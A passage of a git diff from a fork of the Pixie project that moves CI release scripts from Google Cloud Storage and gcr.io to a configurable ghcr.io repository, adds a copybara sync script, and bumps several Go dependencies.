with bazel's symlinks by copying binaries into a temp dir. binary_dir="$(mktemp -d)" @@ -49,7 +49,7 @@ cp "${darwin_arm64_binary}" "${binary_dir}" darwin_arm64_binary="${binary_dir}/$(basename "${darwin_arm64_binary}")" # Create and push docker image. -bazel run -c opt --config=stamp //src/pixie_cli:push_px_image +bazel run -c opt --config=stamp --config=x86_64_sysroot //src/pixie_cli:push_px_image if [[ ! "$release_tag" == *"-"* ]]; then # Create rpm package. @@ -95,3 +95,8 @@ upload_artifacts "${release_tag}" if [[ ! $release_tag == *"-"* ]]; then upload_artifacts "latest" fi + +# Create manifest update for downstream jobs. +if [[ -n "${MANIFEST_UPDATES:-}" ]]; then + create_manifest_update "cli" "${release_tag}" > "${MANIFEST_UPDATES}" +fi diff --git a/ci/cli_merge_sign.sh b/ci/cli_merge_sign.sh index fbbe23c7106..af2b8ffed5f 100755 --- a/ci/cli_merge_sign.sh +++ b/ci/cli_merge_sign.sh @@ -33,16 +33,9 @@ security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "${KEYCHAI security default-keychain -s "${KEYCHAIN_PATH}" security find-identity -v -release_tag=${TAG_NAME##*/v} -bucket="pixie-dev-public" -ARTIFACT_BASE_PATH="https://storage.googleapis.com/${bucket}/cli" - for arch in amd64 arm64 do - url="${ARTIFACT_BASE_PATH}/${release_tag}/cli_darwin_${arch}_unsigned" - rm -f "cli_darwin_${arch}_unsigned" - wget "${url}" - mv "cli_darwin_${arch}_unsigned" "cli_darwin_${arch}" + cp "${artifacts_dir}/cli_darwin_${arch}_unsigned" "cli_darwin_${arch}" done # Create a universal binary. diff --git a/ci/cloud_build_release.sh b/ci/cloud_build_release.sh index 132844f5086..397acaef7f2 100755 --- a/ci/cloud_build_release.sh +++ b/ci/cloud_build_release.sh @@ -34,11 +34,11 @@ if [[ "${release_tag}" == *"-"* ]]; then fi echo "The image tag is: ${release_tag}" -image_repo="gcr.io/pixie-oss/pixie-prod" +image_repo="${IMAGE_REPO:-ghcr.io/pixie-io}" bazel run -c opt \ --config=stamp \ - --action_env=GOOGLE_APPLICATION_CREDENTIALS \ + --config=x86_64_sysroot \ --//k8s:image_repository="${image_repo}" \ --//k8s:image_version="${release_tag}" \ //k8s/cloud:cloud_images_push @@ -52,17 +52,13 @@ done < <(bazel run -c opt \ --//k8s:image_version="${release_tag}" \ //k8s/cloud:list_image_bundle) -all_licenses_opts=("//tools/licenses:all_licenses" "--action_env=GOOGLE_APPLICATION_CREDENTIALS" "--remote_download_outputs=toplevel") +all_licenses_opts=("//tools/licenses:all_licenses" "--remote_download_outputs=toplevel") all_licenses_path="$(bazel cquery "${all_licenses_opts[@]}" --output starlark --starlark:expr "target.files.to_list()[0].path" 2> /dev/null)" bazel build "${all_licenses_opts[@]}" upload_artifact_to_mirrors "cloud" "${release_tag}" "${all_licenses_path}" "licenses.json" -# The licenses file uses a non-standard path (outside of the "component/version/artifact" convention) -# so for now we'll also copy it to the legacy path. -gsutil cp "${all_licenses_path}" "gs://pixie-dev-public/oss-licenses/${release_tag}.json" if [[ "${release}" == "true" ]]; then upload_artifact_to_mirrors "cloud" "latest" "${all_licenses_path}" "licenses.json" - gsutil cp "${all_licenses_path}" "gs://pixie-dev-public/oss-licenses/latest.json" fi # Write YAMLs + image paths to a tar file to support easy deployment. diff --git a/ci/github/bazelrc b/ci/github/bazelrc index 8de37643b0c..e0d943068d0 100644 --- a/ci/github/bazelrc +++ b/ci/github/bazelrc @@ -7,7 +7,7 @@ common --keep_going build --build_metadata=HOST=github-actions build --build_metadata=USER=github-actions -build --build_metadata=REPO_URL=https://github.com/pixie-io/pixie +build --build_metadata=REPO_URL=https://github.com/k8sstormcenter/pixie build --build_metadata=VISIBILITY=PUBLIC build --verbose_failures diff --git a/ci/image_utils.sh b/ci/image_utils.sh index 674e4d9a47b..f804b7c9c29 100644 --- a/ci/image_utils.sh +++ b/ci/image_utils.sh @@ -42,14 +42,13 @@ push_multiarch_image() { x86_image="${multiarch_image}-x86_64" aarch64_image="${multiarch_image}-aarch64" echo "Building ${multiarch_image} manifest" - # If the multiarch manifest list already exists locally, remove it before building a new one. - # otherwise, the docker manifest create step will fail because it can't amend manifests to an existing image. - # We could use the --amend flag to `manifest create` but it doesn't seem to overwrite existing images with the same tag, - # instead it seems to just ignore images that already exist in the local manifest. - docker manifest rm "${multiarch_image}" || true - docker manifest create "${multiarch_image}" "${x86_image}" "${aarch64_image}" - pushed_digest=$(docker manifest push "${multiarch_image}") + crane index append \ + --manifest "${x86_image}" \ + --manifest "${aarch64_image}" \ + --tag "${multiarch_image}" + + pushed_digest=$(crane digest "${multiarch_image}") sign_image "${multiarch_image}" "${pushed_digest}" } diff --git a/ci/operator_build_release.sh b/ci/operator_build_release.sh index f47d9dd75e1..2ff58d7cb77 100755 --- a/ci/operator_build_release.sh +++ b/ci/operator_build_release.sh @@ -35,9 +35,9 @@ bazel run -c opt //src/utils/artifacts/versions_gen:versions_gen -- \ # Find the previous bundle version, which this release should replace. tags=$(git for-each-ref --sort='-*authordate' --format '%(refname:short)' refs/tags \ - | grep "release/operator" | grep -v "\-") + | grep "release/operator" | grep -v "\-" || true) -image_repo="gcr.io/pixie-oss/pixie-prod" +image_repo="${IMAGE_REPO:-ghcr.io/pixie-io}" image_paths=$(bazel cquery //k8s/operator:image_bundle \ --//k8s:image_repository="${image_repo}" \ --//k8s:image_version="${release_tag}" \ @@ -46,8 +46,6 @@ image_paths=$(bazel cquery //k8s/operator:image_bundle \ image_path=$(echo "${image_paths}" | grep -v deleter) deleter_image_path=$(echo "${image_paths}" | grep deleter) -bucket="pixie-dev-public" - channel="stable" channels="stable,dev" # The previous version should be the 2nd item in the tags. Since this is a release build, @@ -77,12 +75,21 @@ mkdir "${tmp_dir}/manifests" previous_version=${prev_tag//*\/v/} +index_image="${image_repo}/operator/bundle_index:0.0.1" +# Don't set replaces when bootstrapping a fresh index, since the previous bundle won't exist. +from_index_args=() +if crane manifest "${index_image}" > /dev/null; then + from_index_args=(--from-index "${index_image}") +else + previous_version="" +fi + kustomize build "$(pwd)/k8s/operator/crd/base" > "${kustomize_dir}/crd.yaml" kustomize build "$(pwd)/k8s/operator/deployment/base" -o "${kustomize_dir}" #shellcheck disable=SC2016 faq -f yaml -o yaml --slurp ' - .[0].spec.replaces = $previousName | + (if $previousName != "" then .[0].spec.replaces = $previousName else . end) | .[0].metadata.name = $name | .[0].spec.version = $version | .[0].spec.install = {strategy: "deployment", spec:{ @@ -95,7 +102,7 @@ faq -f yaml -o yaml --slurp ' "${kustomize_dir}/rbac.authorization.k8s.io_v1_clusterrole_pixie-operator-role.yaml" \ "${kustomize_dir}/rbac.authorization.k8s.io_v1_clusterrolebinding_pixie-operator-cluster-binding.yaml" \ --kwargs version="${release_tag}" --kwargs name="pixie-operator.v${bundle_version}" \ - --kwargs previousName="pixie-operator.v${previous_version}" \ + --kwargs previousName="${previous_version:+pixie-operator.v${previous_version}}" \ --kwargs image="${image_path}" > "${tmp_dir}/manifests/csv.yaml" faq -f yaml -o yaml --slurp '.[0]' "${kustomize_dir}/crd.yaml" > "${tmp_dir}/manifests/crd.yaml" @@ -108,21 +115,19 @@ mv "$(pwd)/k8s/operator/helm/templates/deleter_tmp.yaml" "$(pwd)/k8s/operator/he # Build and push bundle. cd "${tmp_dir}" -bundle_image="gcr.io/pixie-oss/pixie-prod/operator/bundle:${release_tag}" -index_image="gcr.io/pixie-oss/pixie-prod/operator/bundle_index:0.0.1" +bundle_image="${image_repo}/operator/bundle:${release_tag}" -docker buildx create --name builder --driver docker-container --bootstrap +docker buildx inspect builder > /dev/null 2>&1 || docker buildx create --name builder --driver docker-container --bootstrap docker buildx use builder opm alpha bundle generate --package pixie-operator --channels "${channels}" --default "${channel}" --directory manifests docker buildx build --platform linux/amd64,linux/arm64 -t "${bundle_image}" --push -f bundle.Dockerfile . -opm index add --bundles "${bundle_image}" --from-index "${index_image}" --tag "${index_image}" --generate --out-dockerfile="${tmp_dir}/index.Dockerfile" -u docker +opm index add --bundles "${bundle_image}" "${from_index_args[@]}" --tag "${index_image}" --generate --out-dockerfile="${tmp_dir}/index.Dockerfile" -u docker docker buildx build --platform linux/amd64,linux/arm64 -t "${index_image}" --push -f "${tmp_dir}/index.Dockerfile" . cd "${repo_path}" # Upload templated YAMLs. -output_path="gs://${bucket}/operator/${release_tag}" bazel build //k8s/operator:operator_templates yamls_tar="${repo_path}/bazel-bin/k8s/operator/operator_templates.tar" diff --git a/ci/operator_helm_build_release.sh b/ci/operator_helm_build_release.sh index 3c5d415be21..06c7e16b2ec 100755 --- a/ci/operator_helm_build_release.sh +++ b/ci/operator_helm_build_release.sh @@ -36,11 +36,6 @@ tmp_dir="$(mktemp -d)" index_file="${INDEX_FILE:?}" gh_repo="${GH_REPO:?}" -helm_gcs_bucket="pixie-operator-charts" -if [[ $VERSION == *"-"* ]]; then - helm_gcs_bucket="pixie-operator-charts-dev" -fi - repo_path=$(pwd) # shellcheck source=ci/artifact_utils.sh . "${repo_path}/ci/artifact_utils.sh" @@ -60,37 +55,12 @@ helm_tmpl_checks="$(cat "${repo_path}/k8s/operator/helm/olm_template_checks.tmpl find "${repo_path}/k8s/operator/helm/templates" -type f -exec sed -i "/HELM_DEPLOY_OLM_PLACEHOLDER/c\\${helm_tmpl_checks}" {} \; rm "${repo_path}/k8s/operator/helm/olm_template_checks.tmpl" -# Fetch all of the current charts in GCS, because generating the index needs all pre-existing tar versions present. -mkdir -p "${tmp_dir}/${helm_gcs_bucket}" -gsutil rsync "gs://${helm_gcs_bucket}" "${tmp_dir}/${helm_gcs_bucket}" - # Generates tgz for the new release helm3 chart. -helm package "${helm_path}" -d "${tmp_dir}/${helm_gcs_bucket}" - -# Create release for Helm2. -mkdir "${helm_path}2" - -# Create Chart.yaml for this release for Helm2. -echo "apiVersion: v1 -name: pixie-operator-helm2-chart -type: application -version: ${VERSION}" > "${helm_path}2/Chart.yaml" - -cp -r "${helm_path}/templates" "${helm_path}2/templates" -cp "${helm_path}/values.yaml" "${helm_path}2/values.yaml" - -# Generates tgz for the new release helm3 chart. -helm package "${helm_path}2" -d "${tmp_dir}/${helm_gcs_bucket}" - -# Update the index file. -helm repo index "${tmp_dir}/${helm_gcs_bucket}" --url "https://${helm_gcs_bucket}.storage.googleapis.com" - -upload_artifact_to_mirrors "operator" "${VERSION}" "${tmp_dir}/${helm_gcs_bucket}/pixie-operator-chart-${VERSION}.tgz" "pixie-operator-chart-${VERSION}.tgz" +helm package "${helm_path}" -d "${tmp_dir}/helm_chart" -# Upload the new index and tar to gcs by syncing. This will help keep the timestamps for pre-existing tars the same. -gsutil rsync "${tmp_dir}/${helm_gcs_bucket}" "gs://${helm_gcs_bucket}" +upload_artifact_to_mirrors "operator" "${VERSION}" "${tmp_dir}/helm_chart/pixie-operator-chart-${VERSION}.tgz" "pixie-operator-chart-${VERSION}.tgz" -# Generate separate index file for GH. +# Generate index file for GH. mkdir -p "${tmp_dir}/gh_helm_chart" helm package "${helm_path}" -d "${tmp_dir}/gh_helm_chart" # Pull index file. diff --git a/ci/private/run_copybara.sh b/ci/private/run_copybara.sh new file mode 100755 index 00000000000..d269ed8cfa4 --- /dev/null +++ b/ci/private/run_copybara.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash + +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +git_committer_name='k8sstormcenter-buildbot' +git_committer_email='info@fusioncore.ai' + +sky_file_path=$1 +if [[ -z "$sky_file_path" ]] +then + echo "Error: Missing argument." + echo "Usage: $0 " + exit 1 +fi +shift + +# Copybara needs this configured, otherwise it's unhappy. +git config --global user.name ${git_committer_name} +git config --global user.email ${git_committer_email} + +echo "${COPYBARA_GPG_KEY}" | base64 -d | gpg --no-tty --batch --import +git config --global user.signingkey "${COPYBARA_GPG_KEY_ID}" +git config --global commit.gpgsign true + +copybara_args=( + "$@" +) + +sky_file_dir=$(dirname "$sky_file_path") +pushd "${sky_file_dir}" || exit +copybara migrate copy.bara.sky "${copybara_args[@]}" +retval=$? +if [[ $retval -ne 0 && $retval -ne 4 ]] +then + exit "$retval" +fi +popd || exit diff --git a/ci/vizier_build_release.sh b/ci/vizier_build_release.sh index bc044292f9a..f3f5bc9cb0e 100755 --- a/ci/vizier_build_release.sh +++ b/ci/vizier_build_release.sh @@ -35,11 +35,12 @@ echo "The release tag is: ${release_tag}" bazel run -c opt //src/utils/artifacts/versions_gen:versions_gen -- \ --repo_path "${repo_path}" --artifact_name vizier --versions_file "${versions_file}" -image_repo="gcr.io/pixie-oss/pixie-prod" +image_repo="${IMAGE_REPO:-ghcr.io/pixie-io}" push_all_multiarch_images "//k8s/vizier:vizier_images_push" "//k8s/vizier:list_image_bundle" "${release_tag}" "${image_repo}" bazel build -c opt \ + --config=clang \ --config=stamp \ --//k8s:image_repository="${image_repo}" \ --//k8s:image_version="${release_tag}" \ diff --git a/docker.properties b/docker.properties index bb7696c727f..4633b5f35bf 100644 --- a/docker.properties +++ b/docker.properties @@ -1,4 +1,4 @@ -DOCKER_IMAGE_TAG=202512082352 -LINTER_IMAGE_DIGEST=441fc5a65697dab0b38627d5afde9e38da6812f1a5b98732b224161c23238e73 -DEV_IMAGE_DIGEST=cac2e8a1c3e70dde4e5089b2383b2e11cc022af467ee430c12416eb42066fbb7 -DEV_IMAGE_WITH_EXTRAS_DIGEST=e84f82d62540e1ca72650f8f7c9c4fe0b32b64a33f04cf0b913b9961527c9e30 +DOCKER_IMAGE_TAG=202604270358 +LINTER_IMAGE_DIGEST=af984e837756bce44089d0f977146aee989b24a12884ba2366b4e6eaf19d9acb +DEV_IMAGE_DIGEST=e4aec14294cff907e7dc3c4835950a4e166e503d32cae082418971e7f70d86bc +DEV_IMAGE_WITH_EXTRAS_DIGEST=331a2391941c589d2b6536ae49794460b1097c482a45a11029d96a7d0d8d8030 diff --git a/go.mod b/go.mod index 4224503b9c1..10f19e7657b 100644 --- a/go.mod +++ b/go.mod @@ -52,6 +52,7 @@ require ( github.com/ory/dockertest/v3 v3.8.1 github.com/ory/hydra-client-go v1.9.2 github.com/ory/kratos-client-go v0.10.1 + github.com/parquet-go/parquet-go v0.25.1 github.com/phayes/freeport v0.0.0-20171002181615-b8543db493a5 github.com/prometheus/client_golang v1.14.0 github.com/prometheus/client_model v0.3.0 @@ -115,6 +116,7 @@ require ( github.com/VividCortex/ewma v1.1.1 // indirect github.com/a8m/envsubst v1.3.0 // indirect github.com/alecthomas/participle/v2 v2.0.0-beta.5 // indirect + github.com/andybalholm/brotli v1.1.0 // indirect github.com/andybalholm/cascadia v1.1.0 // indirect github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect github.com/beorn7/perks v1.0.1 // indirect @@ -171,7 +173,7 @@ require ( github.com/google/go-querystring v1.1.0 // indirect github.com/google/gofuzz v1.2.0 // indirect github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect - github.com/google/uuid v1.3.0 // indirect + github.com/google/uuid v1.6.0 // indirect github.com/googleapis/gax-go/v2 v2.7.0 // indirect github.com/gorilla/securecookie v1.1.1 // indirect github.com/gorilla/websocket v1.5.0 // indirect @@ -191,7 +193,7 @@ require ( github.com/json-iterator/go v1.1.12 // indirect github.com/jstemmer/go-junit-report v0.9.1 // indirect github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd // indirect - github.com/klauspost/compress v1.17.2 // indirect + github.com/klauspost/compress v1.17.9 // indirect github.com/kr/pretty v0.2.1 // indirect github.com/kr/text v0.2.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect @@ -232,6 +234,7 @@ require ( github.com/patrickmn/go-cache v2.1.0+incompatible // indirect github.com/pelletier/go-toml v1.9.3 // indirect github.com/peterbourgon/diskv v2.0.1+incompatible // indirect + github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/prometheus/procfs v0.9.0 // indirect @@ -276,7 +279,7 @@ require ( golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2 // indirect gomodules.xyz/jsonpatch/v2 v2.2.0 // indirect google.golang.org/appengine v1.6.7 // indirect - google.golang.org/protobuf v1.29.1 // indirect + google.golang.org/protobuf v1.34.2 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/launchdarkly/go-jsonstream.v1 v1.0.1 // indirect @@ -317,3 +320,5 @@ replace ( google.golang.org/grpc => google.golang.org/grpc v1.43.0 gopkg.in/yaml.v2 => gopkg.in/yaml.v2 v2.4.0 ) + +replace google.golang.org/protobuf => google.golang.org/protobuf v1.29.1 diff --git a/go.sum b/go.sum index b8697cb4add..533a9f3f9b6 100644 --- a/go.sum +++ b/go.sum @@ -87,6 +87,8 @@ github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuy github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/andybalholm/brotli v1.1.0 h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M= +github.com/andybalholm/brotli v1.1.0/go.mod h1:sms7XGricyQI9K10gOSf56VKKWS4oLer58Q+mhRPtnY= github.com/andybalholm/cascadia v1.1.0 h1:BuuO6sSfQNFRu1LppgbD25Hr2vLYW25JvxHs5zzsLTo= github.com/andybalholm/cascadia v1.1.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y= github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239 h1:kFOfPq6dUM1hTo4JG6LR5AXSUEsOjtdm0kw0FtQtMJA= @@ -447,8 +449,8 @@ github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaU github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/gax-go/v2 v2.7.0 h1:IcsPKeInNvYi7eqSaDjiZqDDKu5rsmunY0Y1YupQSSQ= github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= @@ -579,8 +581,8 @@ github.com/klauspost/compress v1.8.2/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0 github.com/klauspost/compress v1.9.0/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.9.5/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= -github.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4= -github.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= +github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA= +github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw= github.com/klauspost/cpuid v1.2.1/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -775,6 +777,8 @@ github.com/ory/hydra-client-go v1.9.2 h1:sbp+8zwEJvhqSxcY8HiOkXeY2FspsfSOJ5ajJ07 github.com/ory/hydra-client-go v1.9.2/go.mod h1:TTg4Gt0SDC8+XoGtj5qzdtqxapfFW+Vmm41PFuC6n/E= github.com/ory/kratos-client-go v0.10.1 h1:kSRk+0leCJ1nPMS+FPho8b9WMzrKNpgszvta0Xo32QU= github.com/ory/kratos-client-go v0.10.1/go.mod h1:dOQIsar76K07wMPJD/6aMhrWyY+sFGEagLDLso1CpsA= +github.com/parquet-go/parquet-go v0.25.1 h1:l7jJwNM0xrk0cnIIptWMtnSnuxRkwq53S+Po3KG8Xgo= +github.com/parquet-go/parquet-go v0.25.1/go.mod h1:AXBuotO1XiBtcqJb/FKFyjBG4aqa3aQAAWF3ZPzCanY= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc= github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ= @@ -788,6 +792,8 @@ github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+v github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU= github.com/phayes/freeport v0.0.0-20171002181615-b8543db493a5 h1:rZQtoozkfsiNs36c7Tdv/gyGNzD1X1XWKO8rptVNZuM= github.com/phayes/freeport v0.0.0-20171002181615-b8543db493a5/go.mod h1:iIss55rKnNBTvrwdmkUpLnDpZoAHvWaiq5+iMmen4AE= +github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= +github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pingcap/errors v0.11.4 h1:lFuQV/oaUMGcD2tqt+01ROSmJs75VG1ToEOkZIZ4nE4= github.com/pingcap/errors v0.11.4/go.mod h1:Oi8TUi2kEtXXLMJk9l1cGmz20kV3TaQ0usTwv5KuLY8= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e h1:aoZm08cpOy4WuID//EZDgcC4zIxODThtZNPirFr42+A= @@ -1327,10 +1333,6 @@ google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa h1:I0YcKz0I7OAhddo google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/grpc v1.43.0 h1:Eeu7bZtDZ2DpRCsLhUlcrLnvYaMK1Gz86a+hMVvELmM= google.golang.org/grpc v1.43.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.29.1 h1:7QBf+IK2gx70Ap/hDsOmam3GE0v9HicjfEdAxE62UoM= google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= diff --git a/go_deps.bzl b/go_deps.bzl index 6590dff5052..8ff37dbcbf6 100644 --- a/go_deps.bzl +++ b/go_deps.bzl @@ -156,8 +156,8 @@ def pl_go_dependencies(): name = "com_github_andybalholm_brotli", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], importpath = "github.com/andybalholm/brotli", - sum = "h1:8uQZIdzKmjc/iuPu7O2ioW48L81FgatrcpfFmiq/cCs=", - version = "v1.0.5", + sum = "h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M=", + version = "v1.1.0", ) go_repository( name = "com_github_andybalholm_cascadia", @@ -1628,8 +1628,8 @@ def pl_go_dependencies(): name = "com_github_google_uuid", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], importpath = "github.com/google/uuid", - sum = "h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=", - version = "v1.3.0", + sum = "h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=", + version = "v1.6.0", ) go_repository( name = "com_github_googleapis_enterprise_certificate_proxy", @@ -2282,8 +2282,8 @@ def pl_go_dependencies(): name = "com_github_klauspost_compress", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], importpath = "github.com/klauspost/compress", - sum = "h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4=", - version = "v1.17.2", + sum = "h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=", + version = "v1.17.9", ) go_repository( name = "com_github_klauspost_cpuid", @@ -2992,6 +2992,13 @@ def pl_go_dependencies(): sum = "h1:mvZaddk4E4kLcXhzb+cxBsMPYp2pHqiQpWYkInsuZPQ=", version = "v1.3.0", ) + go_repository( + name = "com_github_parquet_go_parquet_go", + build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], + importpath = "github.com/parquet-go/parquet-go", + sum = "h1:l7jJwNM0xrk0cnIIptWMtnSnuxRkwq53S+Po3KG8Xgo=", + version = "v0.25.1", + ) go_repository( name = "com_github_pascaldekloe_goe", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], @@ -3041,6 +3048,13 @@ def pl_go_dependencies(): sum = "h1:rZQtoozkfsiNs36c7Tdv/gyGNzD1X1XWKO8rptVNZuM=", version = "v0.0.0-20171002181615-b8543db493a5", ) + go_repository( + name = "com_github_pierrec_lz4_v4", + build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], + importpath = "github.com/pierrec/lz4/v4", + sum = "h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=", + version = "v4.1.21", + ) go_repository( name = "com_github_pingcap_errors", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], @@ -4427,6 +4441,7 @@ def pl_go_dependencies(): name = "org_golang_google_protobuf", build_directives = ["gazelle:map_kind go_binary pl_go_binary @px//bazel:pl_build_system.bzl", "gazelle:map_kind go_test pl_go_test @px//bazel:pl_build_system.bzl"], importpath = "google.golang.org/protobuf", + replace = "google.golang.org/protobuf", sum = "h1:7QBf+IK2gx70Ap/hDsOmam3GE0v9HicjfEdAxE62UoM=", version = "v1.29.1", ) diff --git a/k8s/cloud/base/api_deployment.yaml b/k8s/cloud/base/api_deployment.yaml index ce9b9039f2b..0b1ce55dfcf 100644 --- 